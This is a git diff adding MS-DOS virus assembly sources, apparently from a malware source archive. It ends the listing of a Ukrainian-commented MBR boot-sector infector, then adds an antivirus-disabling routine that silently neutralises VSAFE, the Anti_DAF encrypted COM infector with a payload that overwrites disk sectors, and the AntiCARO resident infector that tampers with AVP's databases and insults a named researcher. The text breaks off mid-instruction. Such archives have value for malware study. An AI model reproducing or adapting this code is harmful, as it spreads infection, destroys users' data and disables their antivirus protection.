блоку який будем пере- + add si,di ;силати рўвна 23 байти + mov cx,00017h + rep movsb + mov ax,00301h ;а тепер запишем тўло вўруса + xor bx,bx ;замўсть BOOT-сектора ў + mov cx,00001h ;вже з правильною таблицею + sub dh,dh ;параметрўв диску це потрўбно + int NewVector ;для того щоб на незараженўй + ;машинў ўнформацўячиталась з + ;диску нормально + +;***** Вихўд з пўдпрограми обробки boot сектора ***** +ExitFromThere: + pop di ;Там,на початку цўї∙ пўдпрограми ми зиписали в стек + pop si ;цў регўстри. + pop es ;Тепер не мўшало б ∙х звўдтам зчитати + pop ds ;повернувши ∙м початковў значення + pop dx + pop cx + pop bx + pop ax + ret +ToWork endp + +;*************** Ў Н С Т А Л Я Т О Р **************** + +;************* Ўнсталюї вўрус в памятў ************** + +Instaljator1: + +;******** Перехопити потрўбнў переривання *********** + xor di,di ;За допомогою регўстрово∙ пари ES:DX + mov ds,di ;пересилаї адрес переривання OldVector + les dx,ds:[OldVector * 4] ;в комўрку де зберўгаїться вектор + mov ds:[NewVector * 4 + ForOffset],dx ;переривання + mov ds:[NewVector * 4 + ForSegment],es ;NewVector + +;*************** Ўнўцўалўзувати стек **************** + cli ;Ўнўцўалўзуї стековў вказўвники так + mov ss,di ;щоб вони вказували на область памятў зразу + mov si,BootOffset ;перед BOOT сектором SS:SP = 0000h:7C00h + mov sp,si ;а заодно встановлюї SI = 7C00h + sti + +;************** Кої шо записати в стек ************** + push ds ;DS = 0000h вўдносяться до RETF по мўтцў + ;GoToBoot який виконуї передачу управлўння + push si ;SI = 7C00h на оригўнальний BOOT сектор пўсля + ;його загрузки + push si ;SI = 7C00h потўм буде використано командою POP BX + ;для того щоб ES:BX вказувало на буфер для загрузки + ;оригўнального BOOT сектора (0000:7C00) + +;****************** Видўляїм память ***************** + mov ax,ds:[MemSizeAdr] ;зменшуїм на 1К розмўр закально∙ памятў + dec ax ;i робим перетворення цього числа + mov ds:[MemSizeAdr],ax ;так щоб вўн вказував адрес сегменту + mov cl,6 ;для программи ў пересилаїм в ES + sal ax,cl ;ў ES повинно вказувати на початок + mov es,ax ;"вўдгрижено∙" памятў + mov ds:[OldVector * 4 + ForSegment],ax + mov word ptr ds:[OldVector * 4 + ForOffset],offset New_Int13 + ;встановлюїм вектор перивання OldVector + ;так щоб вўн вказував на ES:New_Int13 + ;так як в цў адреса буде переслано тўло + ;програми + +;************** Обосновуїмся в памятў *************** + push ax ;пересилаї свої тўло в видўлену область + mov ax,offset Instaljator2 ;памятў (∙∙ сегмент в ES) починаючи з + push ax ;0-го змўщення ў передаї управлўння за + mov cx,00100h ;допомогою RETF на код по мўтцў + cld ;Instaljator2 вже в своўй копў∙ яка + rep movsw ;находиться в видўленўй памятў + retf + +Instaljator2: + +;******************** ?????????? ******************** + xor ax,ax ;мав би скинути в початкове полження дисковод + mov es,ax ;але не встановлюї DL i тому нi чого не + int NewVector ;виходить (??? хотя треба ще подумати) заодно + ;в ES записуї 0000 (сегмент куди читати Boot-сектор) + +;************ Загружаї старий BOOT сектор *********** + push cs ;в DS загружаїться значення CS тобто DS тепер + pop ds ;вказуї на сегмент з тiлом i даними (DS:0000) + mov ax,00201h ;функцiя читання одного сектора + pop bx ;ES:BX вказують куди читати сектор 0000:7С00 + mov cx,OldBoot ;в CL-номер сектора,в CH номер дорожки + cmp cx,0000Dh ;Якщо CX не рiвний 0000Dh то перейти на + jnz ReadFloppy ;загрузку нормального boot-сектора з дiскети + mov dx,00080h ;iнакше загрузити boot-сектор з вiнчестера + int NewVector ;на вiнчестерi вiн завжди в секторi з номером + ;(головка/дорожка/сектор) 0/0/13 в десятковiй +GoToBoot: ;передаї виконання на загружений boot-сектор + retf ;CS:IP = 0000:7C00 +ReadFloppy: + sub dx,dx ;загружаї нормальний boot-сектор з дискети + mov dh,OldBootHead ;iнформацiю про його розмiщення бере в комiрках + int NewVector ;OldBoot i OldBootHead + jc GoToBoot ;якщо була помилка то йти на передачу управ- + ;лiння загруженому boot-сектору (??? може я + ;не правий) + +;******** Читаї сектор (0/0/1) на вiнчестерi ******** + push cs ;читати один сектор в память зразу пўсля рези- + pop es ;дентно∙ чистини вўруса,там ще маї бути 512 + mov ax,00201h ;байт вўльних (на цю область вказуї регўстрова пара + mov bx,00200h ;ES:BX = VirusSegm:00200h,де VirusSegm - сегмент + ;початку тўла вўруса рўвний CS,дивись вище) + mov cx,00001h ;дорожка = 0,сектор = 1 + mov dx,00080h ;головка = 0,пристрўй = вўнчестер (код 80h) + int NewVector ;якщо була помилка (CF=1,наприклад вўнчестер + jc GoToBoot ;не ўснуї) то йти на передачу управлўння за- + ;груженому boot-сектору + +;********** Провўрити чи MBR вже заражений ********** + ;всў сементнў регўстри (крўм SS = 0000) рўвнў + ;мўж собою ў вказують на область вўруса + ;в цўй областў починаючи зў змўщення 0000h + ;"сидить" тўло вўруса, зў змўщення 0200h + ;находиться загружений вище MBR вўнчестера + xor si,si ;SI = 0000h початок тўла вўруса + lodsw ;BX = 0200h початок загруженого MBR вўнча + cmp ax,[bx] ;якщо першў чотири байти вўруса ў MBR спўв- + jnz ToInfect ;падають то вважаїться що MBR вже заражений + lodsw ;ў йдем на код передачў управлўння загруженому + cmp ax,[bx+2] ;boot-сектору ўнакше на наступний блок в якому + jz GoToBoot ;вўдбуваїться зараженя MBR + +;************* Заразити MBR вўнчестера ************** +ToInfect: + mov cx,0000Dh ;записати старий MBR на вўнчестер по абсолют- + mov OldBoot,cx ;ному адресу 0/0/13 (головка/трек/сектор) + mov ax,00301h ;На вўнчестерў MBR завжди записуїться в + push ax ;цей сектор,якщо там щось було то воно + int NewVector ;буде затерте + pop ax ;якщо виникла помилка обмўну з диском то йти + jc GoToBoot ;на передачу управлўння загруженому boot-сек-зу + + mov si,offset PartitionTable + 00200h ;Скопўюватм тадлицю + mov di,offset PartitionTable ;дескрипторўв роздўлўв + mov cx,00021h ; = (PartitionTableSize + BootSignaturaSize)/2 + ;з нормального + rep movsw ;MBR в те саме змўщення але в тўлў вўруса + ;ў тепер це запишем замўсть оригўнального MBR + inc cx ;CH = 00h,CL = 01h (дорожка - 0, сектор - 1) + sub bx,bx ;ES:BX - вказуї на тўло вўруса + mov OldBootHead,dh ;DH = 00h (номер головки - 0) + int NewVector ;записуїм вўрус в MBR ў + retf ;передаїм управлўння загруженому сектору + +;** Блоки даних якў використовуються при загрузцў *** + org 001BEh +PartitionTable db 4 * 16 dup (?) +PartitionTableSize EQU $ - offset PartitionTable + ;при зараженнў вўнчестера (ў загрузцў) + ;в цўй областў находяться дескриптори + ;роздўлўв + +BootSignatura db 055h,0AAh ;признак boot сектора останнў два байти + ;мають бути рўвнў 55h,AAh +BootSignaturaSize EQU $ - offset BootSignatura + +cseg ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.anti-mon.asm b/MSDOS/Virus.MSDOS.Unknown.anti-mon.asm new file mode 100644 index 00000000..c79082c6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anti-mon.asm @@ -0,0 +1,271 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994 +Xref: netcom.com alt.comp.virus:507 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Anti Monitor Virus (ANTI AV TSR) +Date: 29 Nov 1994 13:05:19 GMT +Organization: Netcom +Lines: 256 +Distribution: world +Message-ID: <3bf8uf$ib9@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +;*********************************************************************** +*********************** +;* + * +;* FILE: ANTI-MON.ASM (c) 1993 + * +;* PURPOSE: Detect and remove a TSR anti-viral monitor + * +;* AUTHOR: Willoughby DATE: 05/09/93 + * +;* + * +;*********************************************************************** +*********************** + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,ES:MAIN + + ORG 100H + +;*********************************************************************** +*********************** +;The purpose of this routine is simply to demonstrate the function of +the FIND_AV_MON and +;NEUT_AV_MON routines. It displays a message based upon the results of +the test for TSR anti- +;viral monitor interrupt vectors performed by the FIND_AV_MON routine +and the action taken, if +;needed, by the NEUT_AV_MON routine. + +START: call FIND_AV_MON ;check for installed +anti-viral monitors + jc MP1 ;if carry is set, a +monitor is present + mov dx,OFFSET NOT_HERE_MSG ;if not, display +appropriate message + jmp MPEX ;during exit +MP1: cmp WORD PTR [MONITOR_TYPE],0 ;check for type/version +of monitor present + mov dx,OFFSET MON0_HERE_MSG + je MP2 ;if MONITOR_TYPE = 0, +display v1.0 message + mov dx,OFFSET MON1_HERE_MSG ;otherwise, display v6.0 +message +MP2: mov ah,9 + int 21H + call NEUT_AV_MON ;then restore vectors to +original values + mov dx,OFFSET BUT_NOW_MSG ;display monitor removal +message +MPEX: mov ah,9 + int 21H + mov ax,4C00H ;exit program + int 21H + +NOT_HERE_MSG: + DB 0DH,0AH,'VSAFE is not present.',0DH,0AH,24H +MON0_HERE_MSG: + DB 0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H +MON1_HERE_MSG: + DB 0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H +BUT_NOW_MSG: + DB 0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H + + +;*********************************************************************** +*********************** +;This routine tests for the presence in memory of two versions of VSAFE +by comparing the +;offsets of the interrupt vectors stolen during VSAFE's installation +with known VSAFE interrupt +;handler offsets. When it finds any three offset values in the system +interrupt vector table +;which match the VSAFE offsets for the corresponding interrupt, the +carry flag is set to +;indicate the presence of VSAFE in memory to the calling routine. The +segment in which VSAFE +;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in +MONITOR_TYPE for use by +;the NEUT_AV_MON routine. + +NUM_MONITORS EQU 2 ;# of anti-viral monitor +types to check for +NUM_VECTORS EQU 8 ;# of interrupt vector +table entries to check +MATCHES_REQ EQU 3 ;# of offset matches +required for positive ID + +FIND_AV_MON: + push es + xor ax,ax + mov es,ax ;set ES to segment of +interrupt vector table + mov cx,NUM_VECTORS ;set loop counter to # +of vectors to check + mov si,OFFSET VECTOR_OFFSETS ;point SI to start of +vector offset string +FAMLP1: lodsw ;load vector table +offset of first vector + mov bx,ax + mov dx,w[es:bx] ;load offset of vector +from table + xor di,di +FAMLP2: lodsw ;load offset value used +by anti-viral monitor + cmp dx,0FFFFH ;test for skip vector +check value + je FAMLP3 ;if skip value (FFFFH), +exit inner loop + cmp dx,ax ;does vector table value +match monitor value? + jne FAMLP3 ;if not, +jump to end of loop + inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so, +increment match counter + cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ +;required # of matches found? + jne FAMLP3 ;if not, +jump to end of loop + add bx,2 ;set BX to point at +vector segment value + mov ax,WORD PTR [es:bx] ;load anti-viral seg. +value from vector table + mov MONITOR_SEGMENT,ax ;store segment value + mov MONITOR_TYPE,di ;store monitor number +indicating version/type + stc ;set carry flag to +indicate monitor was found + jmp FAMEX +FAMLP3: inc di ;increment monitor +number + cmp di,NUM_MONITORS ;all monitor values +checked for this vector? + jne FAMLP2 ;if not, do it all again + loop FAMLP1 ;if all vectors not +checked, loop to check next + clc ;clear carry flag to +indicate no monitor found +FAMEX: pop es + ret + +MONITOR_SEGMENT DW ? ;storage location for +monitor segment value +MONITOR_TYPE DW ? ;ditto for monitor type + +TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for +vector match counts + +VECTOR_OFFSETS: + DW 004CH,1039H,0352H ;INT 13H, VSAFE1 offset, +VSAFE6 offset + DW 0058H,12CDH,05DDH ;INT 16H + DW 0080H,138CH,06BCH ;INT 20H + DW 0084H,15F7H,0940H ;INT 21H + DW 009CH,1887H,0C0CH ;INT 27H + DW 00BCH,2476H,1440H ;INT 2FH + DW 0100H,1254H,05CBH ;INT 40H + DW 0024H,0FFFFH,02AFH ;INT 09H (FFFFH = skip +vector offset check) + + +;*********************************************************************** +*********************** +;This routine restores all but the keyboard interrupt vectors to their +original values prior +;to the residency of VSAFE. This is accomplished by moving the +original, unencrypted (!?) +;vector values stored within VSAFE to their respective locations in the +system interrupt vector +;table. VSAFE is, thereby, completely disabled, but appears to be fully +functional because its +;user interface continues to respond correctly to user inputs. This +routine uses the monitor +;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) +values returned by the +;FIND_AV_MON routine. + +TABLE_SEGMENT EQU 0 ;interrupt vector table +segment +NUM_RESTORE EQU 6 ;number of vectors to +restore + +NEUT_AV_MON: + push es + mov ax,OFFSET MON2_OFFSETS + sub ax,OFFSET MON1_OFFSETS + mul WORD PTR [MONITOR_TYPE] ;calc. string offset for +monitor type/version + mov si,OFFSET MON1_OFFSETS + add si,ax ;point to first value in +desired monitor string + mov di,OFFSET TABLE_OFFSETS ;ditto for table offset +string + mov cx,NUM_RESTORE ;set counter to number +of vectors to restore +RESTORE_VECTS: + mov bx,WORD PTR [si] ;load monitor offset of +original vector value + cmp bx,0FFFFH ;test for skip restoral +value + je SKIP ;if skip value (FFFFH), +then jump to loop + mov es,MONITOR_SEGMENT ;set ES to monitor +segment + mov ax,WORD PTR [es:bx] ;load original vector +offset from monitor + mov ORIGINAL_OFF,ax ;store in scratch pad + mov ax,WORD PTR [es:bx+2] ;load original vector +segment from monitor + mov ORIGINAL_SEG,ax ;store in scratch pad + mov bx,WORD PTR [di] ;load corresponding int. +vector table offset + mov es,TABLE_SEGMENT ;set ES to int. vector +table segment + mov ax,ORIGINAL_OFF ;load original vector +offset + mov WORD PTR [es:bx],ax ;store original offset +in vector table + mov ax,ORIGINAL_SEG ;load original vector +segment + mov WORD PTR [es:bx+2],ax ;store original segment +in vector table +SKIP: add si,2 ;point SI to next string +value + add di,2 ;ditto for DI + loop RESTORE_VECTS ;loop to restore next +vector + pop es + ret ;all done, monitor is +totally neutralized + +ORIGINAL_OFF DW ? ;temp. storage for +original int. vector offset +ORIGINAL_SEG DW ? ;ditto for segment + +TABLE_OFFSETS: + DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT +vector table + +MON1_OFFSETS: ;VSAFE v1.0 +offsets where + DW 1967H,196FH,1977H,197BH,242AH,197FH ;original +vectors are stored + ;(FFFFH = skip +vector restoral) + +MON2_OFFSETS: ;MS-DOS 6.0 +VSAFE offsets where + DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original +vectors are stored + ;(FFFFH = skip +vector restoral) + +MAIN ENDS + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.anti_daf.asm b/MSDOS/Virus.MSDOS.Unknown.anti_daf.asm new file mode 100644 index 00000000..0207bace --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anti_daf.asm @@ -0,0 +1,290 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Anti_DAF Virus * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings and thanx to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* Peter Venkman for his BBS, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* "Dark Helmet strikes back..." * +;* * +;*--------------------------------------------------------------------------* +;* * +;* NOTE : This virus will overwrite the first sectors of the active drive * +;* on any monday in November. * +;* * +;* Coming soon : CIVIL WAR II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus * +;* De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd * +;* op de encryptie zoals deze door Glenn Benton gebruikt is * +;* bij het 'RTL4/Wedden dat virus'. * +;* Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e * +;* bytes aan het begin gebruikt. * +;* * +;* XOR de 4e en 5e byte * +;* Verhoog resultaat met 1 * +;* Vergelijk met 6e byte * +;* * +;* Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook * +;* voor de decryptie gebruikt. * +;* Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de * +;* decrypty in gebruik is. * +;* Het 4e byte word bepaald uit de lengte van de file + 1. * +;* De 5e byte word bepaald door het aantal seconden van * +;* de systeemtijd te pakken. * +;* * +;* Dark Helmet * +;* * +;**************************************************************************** + + .Radix 16 + +Anti_DAF Segment + Assume cs:Anti_DAF, ds:Anti_DAF + org 100h + +len equ offset last - begin +vir_len equ offset last - vir_start + +Dummy: db 0e9h, 03h, 00h +Key: db 000h, 00h, 01h + +Begin: call virus ; IP op stack + +Virus: pop bp ; Haal IP van Stack + sub bp,109h + lea si,vir_start+[bp] ; voor decryptie + mov di,si + mov cx,vir_len ; lengte decryptie gedeelte + mov ah,ds:[105h] ; haal sleutel op + dec ah ; sleutel met 1 verminderen + ; voor decryptie + +decrypt: lodsb ; decrypt virus + xor al,ah + stosb + loop decrypt + +vir_start: mov dx,0fe00h ; verplaats DTA + mov ah,1ah + int 21h + +restore_begin: mov di,0100h ; herstel begin programma + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + + mov ah,2ah ;kijk of het een maandag + int 21h ;in november is + cmp dh,00bh + jne no_activate + cmp al,01h + jne no_activate + +activate: mov ah,09h ; activeer het virus :-) + lea dx,[text+bp] ; druk text af + int 21h + mov ah,19h ; vraag drive op + int 21h + mov dx,0 ; overschrijf eerste sectors + mov cx,10h ; van huidige drive + mov bx,0 + int 26h + jmp exit + + + +no_activate: lea dx,[com_mask+bp] ; zoekt eerste .COM program + mov ah,04eh ; in directorie + xor cx,cx + int 21h + +Open_file: mov ax,03d02h ; open gevonden file + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;lees datum/tijd file + int 21h ;en bewaar deze + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ; kijkt of al geinfecteerd + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + xor al,byte ptr [buffer+bp]+4 + inc al + cmp al,byte ptr [buffer+bp]+5 + jne infect_file + +Close_file: mov bx,[handle+bp] ; sluit file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ; zoekt volgende file + int 21h + jnb open_file + jmp exit ; geen meer gevonden, + ; ga naar exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ; lees lengte van file in + sub ax,03h + mov [lenght+bp],ax ; sla lengte op voor sprong + ; instructie zodadelijk + inc al ; verhoog AL, eerste key + mov [key1+bp],al + mov ah,2ch ; vraag systeemtijd op + int 21h + mov [key2+bp],dh ; gebruik seconden voor tweede + ; key + mov al,dh + xor al,[key1+bp] ; derde sleutel en sleutel + ; voor encrypty is een xor + ; van key1 en key2 + mov [sleutel+bp],al + lea si,vir_start+[bp] + mov di,0fd00h ; encrypt hele zooi aan het + ; einde van het segment + mov cx,vir_len + +Encrypt: lodsb ; de encryptie + xor al,[sleutel+bp] + stosb + loop encrypt + mov al,[sleutel+bp] + inc al + mov [sleutel+bp],al + +Write_jump: mov ax,04200h ; schrijf de jmp die het + call move_pointer ; die het virus aan het begin + mov ah,40h ; maakt + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ; schrijf de offset die de jmp + mov cx,02h ; maakt + lea dx,[lenght+bp] + int 21h + + mov ah,40 ; schrijf de sleutels weg + mov cx,03h + lea dx,[key1+bp] + int 21h + +Write_virus: mov ax,4202h ; schrijf virus gedeelte + call move_pointer ; tot vir_start + mov ah,40h + mov cx,len - vir_len + lea dx,[begin+bp] + int 21h + mov ah,40h ; schrijf het encrypte virus + mov cx,vir_len ; achter de rest van het virus + mov dx,0fd00h + int 21h + +restore_date: mov dx,[date+bp] ; herstel datum/tijd + mov cx,[time+bp] ; geinfecteerde file + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h ; continu met orgineel + jmp bx ; orgineel programma + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +lenght dw ? +jump db 0e9h,0 +text db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh + db "DAF-TRUCKS Eindhoven",0ah,0dh + db "Hugo vd Goeslaan 1",0ah,0dh + db "Postbus 90063",0ah,0dh + db "5600 PR Eindhoven, The Netherlands",0ah,0dh + db 0ah,"DAF sucks...",0ah,0dh + db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0 + +key1 db 00 +key2 db 00 +sleutel db 00 +last db 090h + +Anti_DAF ends + end dummy +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;─────────────────────────────────────────────────────────────────────────; +;──────────────────> and Remember Don't Forget to Call <──────────────────; +;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────; +;─────────────────────────────────────────────────────────────────────────; + diff --git a/MSDOS/Virus.MSDOS.Unknown.anticaro.asm b/MSDOS/Virus.MSDOS.Unknown.anticaro.asm new file mode 100644 index 00000000..174d509b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anticaro.asm @@ -0,0 +1,462 @@ +; +; ▄█████▄ ▄█████▄ ▄█████▄ +; AntiCARO ███ ███ ███ ███ ███ ███ +; by Mister Sandman/29A ▄▄▄██▀ ▀██████ ███████ +; ███▄▄▄▄ ▄▄▄▄███ ███ ███ +; ███████ ██████▀ ███ ███ +; +; As i don't agree with CARO and with the way the name viruses, and spe- +; cially the way they *misnamed* VLAD's Bizatch, i decided to write this +; virus... just to protest against the biggest dickhead under the sun, +; Vesselin Bonchev, the virus-baptizer who does whatever he wants making +; abuse of his 'power' in that fucking sect named CARO. +; +; And as i know that, albeit he works at Frisk, his favourite AV is AVP, +; i just took the decission to write this baby, which will modify AVP so +; it will detect Bizatch as 'Bizatch_:P' and not as Boza. +; +; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's +; or YAM's coding skills)... i only developed its originality. Anyway, +; it's interesting to see how does it modify AVP: +; +; It looks for AVP.SET in the current directory it's being loaded from. +; If it finds that file, it will insert a new viral database in the se- +; cond field, and later it will drop that new database, which contains +; the data needed for detecting Bizatch from AVP (have a look at the co- +; de, which is found at the end of this virus). +; +; As this new viral database has been loaded before the rest of the +; other databases (except of KERNEL.AVB, which must be always loaded in +; the first place), it will be the first one containing Bizatch's search +; strings, so it will be the fortunate participant to show the name of +; the virus it has detected :) +; +; About the virus itself, as i told before, it's a lame TSR COM infec- +; tor which hits files on execution (4b00h) and uses SFTs for performing +; the file infection. +; +; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for +; obvious reasons and to Tcp/29A because of his help on its writing. +; +; Compiling instructions: +; +; tasm /m anticaro.asm +; tlink anticaro.obj +; exe2bin anticaro.exe anticaro.com + + +anticaro segment byte public + assume cs:anticaro,ds:anticaro + org 0 + +anticaro_start label byte +anticaro_size equ anticaro_end-anticaro_start + +entry_point: call delta_offset +delta_offset: pop bp ; Get ы-offset + sub bp,offset delta_offset ; for l8r use + + mov ax,3d02h ; Try to open AVP.SET + lea dx,[bp+avp_set] ; if it's found in the + int 21h ; current directory + jc mem_res_check + + xchg bx,ax + mov ah,3fh ; Read the whole file + mov cx,29Ah ;-) + lea dx,[bp+anticaro_end] + int 21h + push ax + + mov ax,4200h ; Lseek to the second + xor cx,cx ; line (first must + mov dx,0ch ; be always KERNEL.AVB) + int 21h + + mov ah,40h ; Truncate file from + xor cx,cx ; current offset + int 21h + + mov ah,40h ; Write our viral + mov cx,0dh ; database name + lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as + int 21h ; second field + + mov ah,40h ; And write the rest + pop cx ; of the original + sub cx,0ch ; AVP.SET we read b4 + lea dx,[bp+anticaro_end+0ch] ; to our buffer + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ah,3ch ; Create the new viral + xor cx,cx ; database (BIZATCH.AVB) + lea dx,[bp+bizatch_base] ; which contains Bizatch's + int 21h ; detection data + + xchg bx,ax + mov ah,40h ; Write the database + mov cx,base_size ; contents in the new + lea dx,[bp+bizatch_avb] ; created file + int 21h + + mov ah,3eh ; Close file + int 21h + +mem_res_check: mov ax,'CA' ; Check if we're already + mov bx,'RO' ; memory resident + int 21h + + cmp ax,'SU' ; Coolio residency + cmp bx,'X!' ; check... CARO SUX! :P + je nothing_to_do + +install: mov ax,es + dec ax + mov ds,ax ; Program's MCB segment + xor di,di + + cmp byte ptr ds:[di],'Y' ; Is it a Z block? + jna nothing_to_do + + sub word ptr ds:[di+3],((anticaro_size/10h)+2) + sub word ptr ds:[di+12h],((anticaro_size/10h)+2) + add ax,word ptr ds:[di+3] + inc ax + + mov ds,ax + mov byte ptr ds:[di],'Z' ; Mark block as Z + mov word ptr ds:[di+1],8 ; System memory + mov word ptr ds:[di+3],((anticaro_size/10h)+1) + mov word ptr ds:[di+8],4f44h ; Mark block as owned + mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0) + inc ax + + cld + push cs + pop ds + mov es,ax ; Copy virus to memory + mov cx,anticaro_size + lea si,[bp+anticaro_start] + rep movsb + + push ds + mov ds,cx + mov es,ax ; Save int 21h's + mov si,21h*4 ; original vector + lea di,old_int_21h+1 + movsw + movsw + + mov word ptr [si-4],offset new_int_21h + mov word ptr [si-2],ax ; Set ours + + pop ds + push ds ; CS=DS=ES + pop es + +nothing_to_do: lea si,[bp+host_header] ; Restore host's header + mov di,100h ; and jump to cs:100h + push di ; for running it + movsw + movsw + ret + +; ──┤ note_to_stupid_avers ;) ├─────────────────────────────────────────── + +copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah + db 'Please note: the name of this virus is [AntiCARO] ' + db 'written by Mister Sandman of 29A... but... dear ' + db 'Bontchy... name it however *you* (and not CARO) want,' + db ' as usual; we just don''t mind your childish ' + db 'stupidity :)',0dh,0ah + +; ──┤ AntiCARO's int 21h handler ├──────────────────────────────────────── + +new_int_21h: cmp ax,'CA' ; Residency check + jnz execution? ; Are they asking my + cmp bx,'RO' ; opinion about CARO? + jnz execution? + + mov ax,'SU' ; Ok, CARO SUX! :P + mov bx,'X!' + iret + +execution?: cmp ax,4b00h ; This is the moment + je check_name ; we were waiting for ;)'' + +old_int_21h: db 0eah ; jmp xxxx:xxxx + dw 0,0 ; Original int 21h + +; ──┤ Infection routines ├──────────────────────────────────────────────── + +check_name: push ax bx cx dx ; Push all this shit + push si di ds es ; and clear direction + cld ; flag + + mov ax,3d00h ; Open the file is + int 21h ; about to be executed + + xchg bx,ax + call get_sft ; Get its SFT + jc dont_infect ; Shit... outta here + + push cs ; CS=DS + pop ds + + mov ax,word ptr es:[di+28h] ; Check extension + cmp ax,'OC' ; There aren't too many + je check_file ; 'COx' executables + ; besides COMs, right? :) + +dont_infect: pop es ds di si ; Pop out registers and + pop dx cx bx ax ; jmp to the original + jmp old_int_21h ; int 21h handler + +check_file: xor al,al ; Clear and save file + xchg al,byte ptr es:[di+4] ; attributes + push ax + + mov word ptr es:[di+2],2 ; Set read/write mode + + mov ah,3fh ; Read first four + mov cx,4 ; bytes to our buffer + lea dx,host_header + int 21h + + mov ax,word ptr host_header ; First word in AX + add al,ah ; M+Z or Z+M=0a7h :) + cmp al,0a7h ; So is it an EXE file? + je close_file ; Fuck it + + cmp byte ptr host_header+3,90h ; Check file for any + je close_file ; previous infection + + mov ax,word ptr es:[di+11h] ; Check file length + cmp ax,0faebh ; > 64235? + ja close_file + + push ax ; Save length + sub ax,3 ; Make the initial + mov word ptr new_header+1,ax ; jmp to our code + + mov word ptr es:[di+15h],0 ; Lseek to the start + + mov ah,40h ; Write in our cooler + mov cx,4 ; header :) + lea dx,new_header + int 21h + + pop ax ; Lseek to the end + mov word ptr es:[di+15h],ax ; of the file + + mov ah,40h ; Append our code + mov cx,anticaro_size ; Huh? where's the + lea dx,anticaro_start ; call to the poly + int 21h ; engine? :) + +close_file: mov 